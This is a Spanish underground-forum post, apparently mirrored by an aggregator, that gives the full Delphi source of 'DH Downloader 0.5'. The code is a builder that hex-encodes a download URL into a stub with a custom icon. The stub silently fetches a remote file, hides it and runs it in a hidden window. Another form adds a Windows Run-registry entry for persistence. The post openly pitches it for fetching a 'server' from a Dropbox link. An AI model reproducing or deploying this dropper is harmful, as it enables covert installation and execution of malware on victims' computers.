Quantcast
Channel: Comunidad Underground Hispana
Viewing all articles
Browse latest Browse all 11602
↧

[Delphi] DH Downloader 0.5

November 18, 2013, 5:56 am
$
0
0
Un simple programa en Delphi para bajar archivos con las siguientes opciones :

[+] Se puede cambiar el nombre del archivo descargado
[+] Se puede guardar en la carpeta que quieran
[+] Se puede ocultar el archivo
[+] Hace que el archivo se inicie cada vez que carga Windows
[+] Se puede cargar oculto o normal
[+] Tambien hice un generador en el que esta pensado para poner un link de descarga directa como dropbox para bajar un server en el cual tambien se le puede cambiar el icono.

Unas imagenes :







El codigo.

El form principal.

Código:
// DH Downloader 0.5
// (C) Doddy Hackman 2013

unit dh;

interface

uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs, acPNG, ExtCtrls, sSkinManager, StdCtrls, sGroupBox, sButton;

type
  TForm1 = class(TForm)
    sSkinManager1: TsSkinManager;
    Image1: TImage;
    sGroupBox1: TsGroupBox;
    sButton1: TsButton;
    sButton2: TsButton;
    sButton3: TsButton;
    sButton4: TsButton;
    procedure sButton3Click(Sender: TObject);
    procedure sButton4Click(Sender: TObject);
    procedure sButton1Click(Sender: TObject);
    procedure sButton2Click(Sender: TObject);
    procedure FormCreate(Sender: TObject);
  private
    { Private declarations }
  public
    { Public declarations }
  end;

var
  Form1: TForm1;

implementation

uses about, usbmode, generate;
{$R *.dfm}

procedure TForm1.FormCreate(Sender: TObject);
begin

  sSkinManager1.SkinDirectory := ExtractFilePath(Application.ExeName) + 'Data';
  sSkinManager1.SkinName := 'neonnight';
  sSkinManager1.Active := True;

end;

procedure TForm1.sButton1Click(Sender: TObject);
begin
  Form3.Show;
end;

procedure TForm1.sButton2Click(Sender: TObject);
begin
  Form4.Show;
end;

procedure TForm1.sButton3Click(Sender: TObject);
begin
  Form2.Show;
end;

procedure TForm1.sButton4Click(Sender: TObject);
begin
  Form1.Close;
end;

end.

// The End ?
El USB Mode.

Código:
// DH Downloader 0.5
// (C) Doddy Hackman 2013

unit usbmode;

interface

uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs, acPNG, ExtCtrls, ComCtrls, sStatusBar, StdCtrls, sGroupBox, sEdit,
  sLabel, sCheckBox, sRadioButton, sButton, acProgressBar, IdBaseComponent,
  IdComponent, IdTCPConnection, IdTCPClient, IdHTTP, Registry, ShellApi;

type
  TForm3 = class(TForm)
    Image1: TImage;
    sStatusBar1: TsStatusBar;
    sGroupBox1: TsGroupBox;
    sGroupBox2: TsGroupBox;
    sEdit1: TsEdit;
    sGroupBox3: TsGroupBox;
    sCheckBox1: TsCheckBox;
    sEdit2: TsEdit;
    sCheckBox2: TsCheckBox;
    sEdit3: TsEdit;
    sCheckBox3: TsCheckBox;
    sCheckBox4: TsCheckBox;
    sCheckBox5: TsCheckBox;
    sRadioButton1: TsRadioButton;
    sRadioButton2: TsRadioButton;
    sGroupBox4: TsGroupBox;
    sButton1: TsButton;
    sProgressBar1: TsProgressBar;
    IdHTTP1: TIdHTTP;
    procedure sButton1Click(Sender: TObject);
    procedure IdHTTP1Work(ASender: TObject; AWorkMode: TWorkMode;
      AWorkCount: Int64);
    procedure IdHTTP1WorkBegin(ASender: TObject; AWorkMode: TWorkMode;
      AWorkCountMax: Int64);
    procedure IdHTTP1WorkEnd(ASender: TObject; AWorkMode: TWorkMode);
    procedure FormCreate(Sender: TObject);
  private
    { Private declarations }
  public
    { Public declarations }
  end;

var
  Form3: TForm3;

implementation

uses about, dh;
{$R *.dfm}
// Functions

function getfilename(archivo: string): string;
var
  test: TStrings;
begin

  test := TStringList.Create;
  test.Delimiter := '/';
  test.DelimitedText := archivo;
  Result := test[test.Count - 1];

  test.Free;

end;

//

procedure TForm3.FormCreate(Sender: TObject);
begin
  sProgressBar1.Position := 0;
end;

procedure TForm3.IdHTTP1Work(ASender: TObject; AWorkMode: TWorkMode;
  AWorkCount: Int64);
begin
  sProgressBar1.Position := AWorkCount;
  sStatusBar1.Panels[0].Text := '[+] Downloading ...';
  sStatusBar1.Update;
end;

procedure TForm3.IdHTTP1WorkBegin(ASender: TObject; AWorkMode: TWorkMode;
  AWorkCountMax: Int64);
begin
  sProgressBar1.Max := AWorkCountMax;
  sStatusBar1.Panels[0].Text := '[+] Starting download ...';
  sStatusBar1.Update;
end;

procedure TForm3.IdHTTP1WorkEnd(ASender: TObject; AWorkMode: TWorkMode);
begin
  sProgressBar1.Position := 0;
end;

procedure TForm3.sButton1Click(Sender: TObject);
var
  filename: string;
  nombrefinal: string;
  addnow: TRegistry;
  archivobajado: TFileStream;

begin

  if not sCheckBox1.Checked then
  begin
    filename := sEdit1.Text;
    nombrefinal := getfilename(filename);
  end
  else
  begin
    nombrefinal := sEdit2.Text;
  end;

  archivobajado := TFileStream.Create(nombrefinal, fmCreate);

  try
    begin
      DeleteFile(nombrefinal);
      IdHTTP1.Get(sEdit1.Text, archivobajado);
      sStatusBar1.Panels[0].Text := '[+] File Dowloaded';
      sStatusBar1.Update;
      archivobajado.Free;
    end;
  except
    sStatusBar1.Panels[0].Text := '[-] Failed download';
    sStatusBar1.Update;
    archivobajado.Free;
    Abort;
  end;

  if FileExists(nombrefinal) then
  begin

    if sCheckBox2.Checked then
    begin
      if not DirectoryExists(sEdit3.Text) then
      begin
        CreateDir(sEdit3.Text);
      end;
      MoveFile(Pchar(nombrefinal), Pchar(sEdit3.Text + '/' + nombrefinal));
      sStatusBar1.Panels[0].Text := '[+] File Moved';
      sStatusBar1.Update;
    end;

    if sCheckBox3.Checked then
    begin
      SetFileAttributes(Pchar(sEdit3.Text), FILE_ATTRIBUTE_HIDDEN);
      if sCheckBox2.Checked then
      begin
        SetFileAttributes(Pchar(sEdit3.Text + '/' + nombrefinal),
          FILE_ATTRIBUTE_HIDDEN);

        sStatusBar1.Panels[0].Text := '[+] File Hidden';
        sStatusBar1.Update;
      end
      else
      begin
        SetFileAttributes(Pchar(nombrefinal), FILE_ATTRIBUTE_HIDDEN);
        sStatusBar1.Panels[0].Text := '[+] File Hidden';
        sStatusBar1.Update;
      end;
    end;

    if sCheckBox4.Checked then
    begin

      addnow := TRegistry.Create;
      addnow.RootKey := HKEY_LOCAL_MACHINE;
      addnow.OpenKey('Software\Microsoft\Windows\CurrentVersion\Run', FALSE);

      if sCheckBox2.Checked then
      begin
        addnow.WriteString('uber', sEdit3.Text + '/' + nombrefinal);
      end
      else
      begin
        addnow.WriteString('uber', ExtractFilePath(Application.ExeName)
            + '/' + nombrefinal);
      end;

      sStatusBar1.Panels[0].Text := '[+] Registry Updated';
      sStatusBar1.Update;

      addnow.Free;

    end;

    if sCheckBox5.Checked then
    begin

      if sRadioButton1.Checked then
      begin
        if sCheckBox2.Checked then
        begin
          ShellExecute(Handle, 'open', Pchar(sEdit3.Text + '/' + nombrefinal),
            nil, nil, SW_SHOWNORMAL);
        end
        else
        begin
          ShellExecute(Handle, 'open', Pchar(nombrefinal), nil, nil,
            SW_SHOWNORMAL);
        end;
      end
      else
      begin
        if sCheckBox2.Checked then
        begin
          ShellExecute(Handle, 'open', Pchar(sEdit3.Text + '/' + nombrefinal),
            nil, nil, SW_HIDE);
        end
        else
        begin
          ShellExecute(Handle, 'open', Pchar(nombrefinal), nil, nil, SW_HIDE);
        end;
      end;

    end;

    if sCheckBox1.Checked or sCheckBox2.Checked or sCheckBox3.Checked or
      sCheckBox4.Checked or sCheckBox5.Checked then
    begin
      sStatusBar1.Panels[0].Text := '[+] Finished';
      sStatusBar1.Update;
    end;

  end;

end;

end.

// The End ?
El generador.

Código:
// DH Downloader 0.5
// (C) Doddy Hackman 2013

unit generate;

interface

uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs, acPNG, ExtCtrls, StdCtrls, sGroupBox, sEdit, ComCtrls, sStatusBar,
  sButton, sCheckBox, sComboBox, sRadioButton, madRes, sPageControl;

type
  TForm4 = class(TForm)
    Image1: TImage;
    sStatusBar1: TsStatusBar;

    OpenDialog1: TOpenDialog;
    sPageControl1: TsPageControl;
    sTabSheet1: TsTabSheet;
    sTabSheet2: TsTabSheet;
    sTabSheet3: TsTabSheet;
    sGroupBox1: TsGroupBox;
    sGroupBox2: TsGroupBox;
    sEdit1: TsEdit;
    sGroupBox3: TsGroupBox;
    sEdit2: TsEdit;
    sGroupBox4: TsGroupBox;
    sRadioButton1: TsRadioButton;
    sRadioButton2: TsRadioButton;
    sGroupBox5: TsGroupBox;
    sGroupBox6: TsGroupBox;
    sGroupBox7: TsGroupBox;
    Image2: TImage;
    sButton1: TsButton;
    sGroupBox8: TsGroupBox;
    sComboBox1: TsComboBox;
    sGroupBox9: TsGroupBox;
    sCheckBox1: TsCheckBox;
    sEdit3: TsEdit;
    sGroupBox10: TsGroupBox;
    sButton2: TsButton;
    procedure sButton1Click(Sender: TObject);
    procedure sEdit2Click(Sender: TObject);
    procedure sButton2Click(Sender: TObject);

    procedure FormCreate(Sender: TObject);

  private
    { Private declarations }
  public
    { Public declarations }
  end;

var
  Form4: TForm4;

implementation

{$R *.dfm}
// Functions

function dhencode(texto, opcion: string): string;
// Thanks to Taqyon
// Based on http://www.vbforums.com/showthread.php?346504-DELPHI-Convert-String-To-Hex
var
  num: integer;
  aca: string;
  cantidad: integer;

begin

  num := 0;
  Result := '';
  aca := '';
  cantidad := 0;

  if (opcion = 'encode') then
  begin
    cantidad := length(texto);
    for num := 1 to cantidad do
    begin
      aca := IntToHex(ord(texto[num]), 2);
      Result := Result + aca;
    end;
  end;

  if (opcion = 'decode') then
  begin
    cantidad := length(texto);
    for num := 1 to cantidad div 2 do
    begin
      aca := Char(StrToInt('$' + Copy(texto, (num - 1) * 2 + 1, 2)));
      Result := Result + aca;
    end;
  end;

end;

function getfilename(archivo: string): string;
var
  test: TStrings;
begin

  test := TStringList.Create;
  test.Delimiter := '/';
  test.DelimitedText := archivo;
  Result := test[test.Count - 1];

  test.Free;

end;

//

procedure TForm4.FormCreate(Sender: TObject);
begin

  OpenDialog1.InitialDir := GetCurrentDir;
  OpenDialog1.Filter := 'ICO|*.ico|';

end;

procedure TForm4.sButton2Click(Sender: TObject);
var
  linea: string;
  aca: THandle;
  code: Array [0 .. 9999 + 1] of Char;
  nose: DWORD;
  marca_uno: string;
  marca_dos: string;
  url: string;
  opcionocultar: string;
  savein: string;
  lineafinal: string;
  stubgenerado: string;
  tipodecarga: string;
  change: DWORD;
  valor: string;

begin

  url := sEdit1.Text;
  stubgenerado := 'tiny_down.exe';

  if (sRadioButton2.Checked = True) then
  begin
    tipodecarga := '1';
  end
  else
  begin
    tipodecarga := '0';
  end;

  if (sCheckBox1.Checked = True) then
  begin
    opcionocultar := '1';
  end
  else
  begin
    opcionocultar := '0';
  end;

  if (sComboBox1.Items[sComboBox1.ItemIndex] = '') then
  begin
    savein := 'USERPROFILE';
  end
  else
  begin
    savein := sComboBox1.Items[sComboBox1.ItemIndex];
  end;

  lineafinal := '[link]' + url + '[link]' + '[opcion]' + opcionocultar +
    '[opcion]' + '[path]' + savein + '[path]' + '[name]' + sEdit2.Text +
    '[name]' + '[carga]' + tipodecarga + '[carga]';

  marca_uno := '[63686175]' + dhencode(lineafinal, 'encode') + '[63686175]';

  aca := INVALID_HANDLE_VALUE;
  nose := 0;

  DeleteFile(stubgenerado);
  CopyFile(PChar(ExtractFilePath(Application.ExeName)
        + '/' + 'Data/stub_down.exe'), PChar
      (ExtractFilePath(Application.ExeName) + '/' + stubgenerado), True);

  linea := marca_uno;
  StrCopy(code, PChar(linea));
  aca := CreateFile(PChar(stubgenerado), GENERIC_WRITE, FILE_SHARE_READ, nil,
    OPEN_EXISTING, 0, 0);
  if (aca <> INVALID_HANDLE_VALUE) then
  begin
    SetFilePointer(aca, 0, nil, FILE_END);
    WriteFile(aca, code, 9999, nose, nil);
    CloseHandle(aca);
  end;

  //

  if not(sEdit3.Text = '') then
  begin
    try
      begin

        valor := IntToStr(128);

        change := BeginUpdateResourceW
          (PWideChar(wideString(ExtractFilePath(Application.ExeName)
                + '/' + stubgenerado)), False);
        LoadIconGroupResourceW(change, PWideChar(wideString(valor)), 0,
          PWideChar(wideString(sEdit3.Text)));
        EndUpdateResourceW(change, False);
        sStatusBar1.Panels[0].Text := '[+] Done ';
        sStatusBar1.Update;
      end;
    except
      begin
        sStatusBar1.Panels[0].Text := '[-] Error';
        sStatusBar1.Update;
      end;
    end;
  end
  else
  begin
    sStatusBar1.Panels[0].Text := '[+] Done ';
    sStatusBar1.Update;
  end;

  //

end;

procedure TForm4.sButton1Click(Sender: TObject);
begin

  if OpenDialog1.Execute then
  begin
    Image2.Picture.LoadFromFile(OpenDialog1.FileName);
    sEdit3.Text := OpenDialog1.FileName;
  end;

end;

procedure TForm4.sEdit2Click(Sender: TObject);
begin
  if not(sEdit1.Text = '') then
  begin
    sEdit2.Text := getfilename(sEdit1.Text);
  end;
end;

end.

// The End ?
El stub

Código:
// DH Downloader 0.5
// (C) Doddy Hackman 2013

// Stub

program stub_down;

// {$APPTYPE CONSOLE}

uses
  SysUtils, Windows, URLMon, ShellApi;


// Functions

function regex(text: String; deaca: String; hastaaca: String): String;
begin
  Delete(text, 1, AnsiPos(deaca, text) + Length(deaca) - 1);
  SetLength(text, AnsiPos(hastaaca, text) - 1);
  Result := text;
end;

function dhencode(texto, opcion: string): string;
// Thanks to Taqyon
// Based on http://www.vbforums.com/showthread.php?346504-DELPHI-Convert-String-To-Hex
var
  num: integer;
  aca: string;
  cantidad: integer;

begin

  num := 0;
  Result := '';
  aca := '';
  cantidad := 0;

  if (opcion = 'encode') then
  begin
    cantidad := Length(texto);
    for num := 1 to cantidad do
    begin
      aca := IntToHex(ord(texto[num]), 2);
      Result := Result + aca;
    end;
  end;

  if (opcion = 'decode') then
  begin
    cantidad := Length(texto);
    for num := 1 to cantidad div 2 do
    begin
      aca := Char(StrToInt('$' + Copy(texto, (num - 1) * 2 + 1, 2)));
      Result := Result + aca;
    end;
  end;

end;

//

var
  ob: THandle;
  code: Array [0 .. 9999 + 1] of Char;
  nose: DWORD;
  link: string;
  todo: string;
  opcion: string;
  path: string;
  nombre: string;
  rutafinal: string;
  tipodecarga: string;

begin

  try

    ob := INVALID_HANDLE_VALUE;
    code := '';

    ob := CreateFile(pchar(paramstr(0)), GENERIC_READ, FILE_SHARE_READ, nil,
      OPEN_EXISTING, 0, 0);
    if (ob <> INVALID_HANDLE_VALUE) then
    begin
      SetFilePointer(ob, -9999, nil, FILE_END);
      ReadFile(ob, code, 9999, nose, nil);
      CloseHandle(ob);
    end;

    todo := regex(code, '[63686175]', '[63686175]');
    todo := dhencode(todo, 'decode');

    link := regex(todo, '[link]', '[link]');
    opcion := regex(todo, '[opcion]', '[opcion]');
    path := regex(todo, '[path]', '[path]');
    nombre := regex(todo, '[name]', '[name]');
    tipodecarga := regex(todo, '[carga]', '[carga]');

    rutafinal := GetEnvironmentVariable(path) + '/' + nombre;

    try

      begin
        UrlDownloadToFile(nil, pchar(link), pchar(rutafinal), 0, nil);

        if (FileExists(rutafinal)) then
        begin

          if (opcion = '1') then
          begin
            SetFileAttributes(pchar(rutafinal), FILE_ATTRIBUTE_HIDDEN);
          end;

          if (tipodecarga = '1') then
          begin
            ShellExecute(0, 'open', pchar(rutafinal), nil, nil, SW_HIDE);
          end
          else
          begin
            ShellExecute(0, 'open', pchar(rutafinal), nil, nil, SW_SHOWNORMAL);
          end;
        end;

      end;
    except
      //
    end;

  except
    //
  end;

end.

// The End ?
Si lo quieren bajar lo pueden hacer de aca.
↧
Search
Viewing all articles
Browse latest Browse all 11602

Trending Articles

Mi 530d no arranca, códigos de avería

October 19, 2016, 11:33 am

Ley Memoria Histórica o Democrática 2022 – Matrimonios con españoles – Cuba...

October 26, 2022, 2:23 am

Coronel de la Guardia Nacional asume dirección de Polibolívar

July 7, 2014, 3:13 pm

TELEVISOR KONKA 43 PULG TV5-43K2 - 850.00USD

October 17, 2015, 6:05 am

Silent Hill 2: Revelation (2012) 720p BRRip Dual Español Latino-Inglés

February 1, 2013, 7:33 am

Merluzas en Airfryer con sofrito de pimientos rojos

February 5, 2018, 6:00 am

[Wii] Silent Hill Shattered Memories [NTSC][WBFS][ESPAÑOL][MEGA]

September 24, 2018, 10:52 am

Gobernador de Anzoátegui decreta 14 de noviembre como feriado no laborable

November 11, 2016, 12:43 pm

The Cranberries – When You’re Gone-Pronunciación Letra Traducción

April 25, 2018, 11:13 pm

QUÉDATE, BUEN JESÚS. Autor: Luis Iruarrízaga

May 24, 2015, 11:13 pm

Matan a dos personas en colonia Reparto Lempira, San Pedro Sula

February 10, 2019, 12:09 am

Profetas de la Ciencia Ficción (Serie) Castellano

June 10, 2014, 11:25 am

Fallece en Mérida el empresario Alvaro Juanes Ancona

December 27, 2014, 5:55 pm

ACTIVIDAD: El primer milagro de Jesús (para los más chiquitos)

September 3, 2022, 2:39 pm

Elodia, ahora en Playboy

October 19, 2010, 8:39 am

Reguetoneros y productores que perdieron la vida

October 20, 2016, 8:39 am

Coche de sustitucion en BMW al pasar campaña EGR

November 19, 2019, 3:13 am

CDG INTERROGA A ZETA SECUESTRADOR DE TAMPICO

February 4, 2016, 11:54 pm

Ayuda!!!! Notificacion de Demanda Coppel

April 28, 2017, 2:34 am

"MI VIDA FUE SIGNADA POR LA TRISTEZA Y LA POBREZA"

March 12, 2013, 7:53 pm
Search
<script src="https://jsc.adskeeper.com/r/s/rssing.com.1596347.js" async> </script>